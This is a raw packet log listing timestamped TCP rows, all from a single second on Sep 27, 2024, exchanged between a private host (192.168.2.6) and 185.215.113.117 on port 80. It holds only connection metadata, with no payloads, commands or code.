Sep 27, 2024 16:18:19.569669008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569684029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569705963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569720984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569722891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.569736958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569741964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.569771051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.569911957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569956064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570058107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570072889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570086002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570100069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570102930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570115089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570120096 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570128918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570142984 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570142984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570158958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570169926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570173979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570199013 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570211887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570436954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570461035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570502996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570549965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570564985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570578098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570590973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570594072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570607901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570617914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570621967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570636988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570646048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570663929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570687056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570857048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.570903063 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.570991039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571007013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571021080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571033955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571036100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571046114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571050882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571063042 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571064949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571078062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571079016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571094036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571096897 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571122885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571146965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571423054 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571436882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571450949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571465015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571480036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571481943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571650028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571665049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571687937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571687937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571705103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571713924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571728945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571743011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571754932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571757078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571770906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571779966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571787119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.571810007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.571826935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.572032928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.572046995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.572098017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.572102070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.572112083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.572127104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.572134972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.572140932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.572155952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.572161913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.572189093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635020018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635040045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635055065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635081053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635091066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635096073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635130882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635179996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635204077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635219097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635234118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635246038 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635265112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635279894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635353088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635371923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635431051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635431051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635485888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635503054 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635516882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635533094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635550976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635550976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635590076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.635652065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635667086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.635709047 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.636457920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.636499882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.636517048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.636533022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.636559963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.636575937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.636627913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.636643887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.636679888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.636729956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.636744976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.636770010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.636795998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.641105890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.641134024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.641146898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.641159058 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.641180992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.641199112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.641233921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.641247988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.641263008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.641271114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.641278982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.641297102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.641314983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.641356945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.643484116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.664808989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664835930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664850950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664865017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664880037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664900064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664901972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.664913893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664928913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.664959908 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.664982080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.665061951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.665076017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.665091038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.665119886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.665147066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.665203094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.665216923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.665230989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.665255070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.665280104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.665324926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.666467905 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721018076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721051931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721061945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721069098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721085072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721092939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721123934 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721123934 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721163034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721183062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721198082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721210957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721214056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721227884 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721246958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721395016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721409082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721424103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721438885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721451998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721451998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721467018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721477985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721510887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721616030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721657038 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721683025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721697092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721715927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721741915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721838951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721853971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721868992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721884012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721899986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.721903086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721920967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.721934080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722029924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722096920 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722194910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722209930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722223997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722239971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722246885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722246885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722258091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722270966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722270966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722279072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722285986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722296000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722311974 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722330093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722623110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722637892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722652912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722667933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722676992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722681999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722697020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722704887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722712040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722724915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722748041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722929001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722944021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722958088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722974062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.722984076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.722986937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723001003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723001003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723015070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723026991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723052979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723316908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723330975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723345041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723367929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723392010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723453999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723469019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723483086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723495960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723509073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723510027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723524094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723536968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723537922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723546028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723551989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723566055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723576069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723579884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723592997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723603010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723608971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.723619938 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.723644972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724275112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724289894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724309921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724314928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724324942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724339008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724351883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724354982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724369049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724370956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724385023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724399090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724400997 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724412918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724420071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724428892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724431992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724442959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724457026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.724458933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724478960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.724500895 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.777684927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.777720928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.777736902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.777801991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.777811050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.777827024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.777873993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.777889967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.777889967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.777909040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.777925014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.777971983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778057098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778070927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778085947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778100014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778104067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778115034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778129101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778131962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778162003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778179884 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778302908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778318882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778361082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778502941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778520107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778534889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778543949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778583050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778640985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778655052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778671026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778681993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778708935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778784037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778798103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.778826952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.778848886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.781982899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.781999111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.782012939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.782032967 CEST	80	49615	185.215.113.117	192.168.2.6
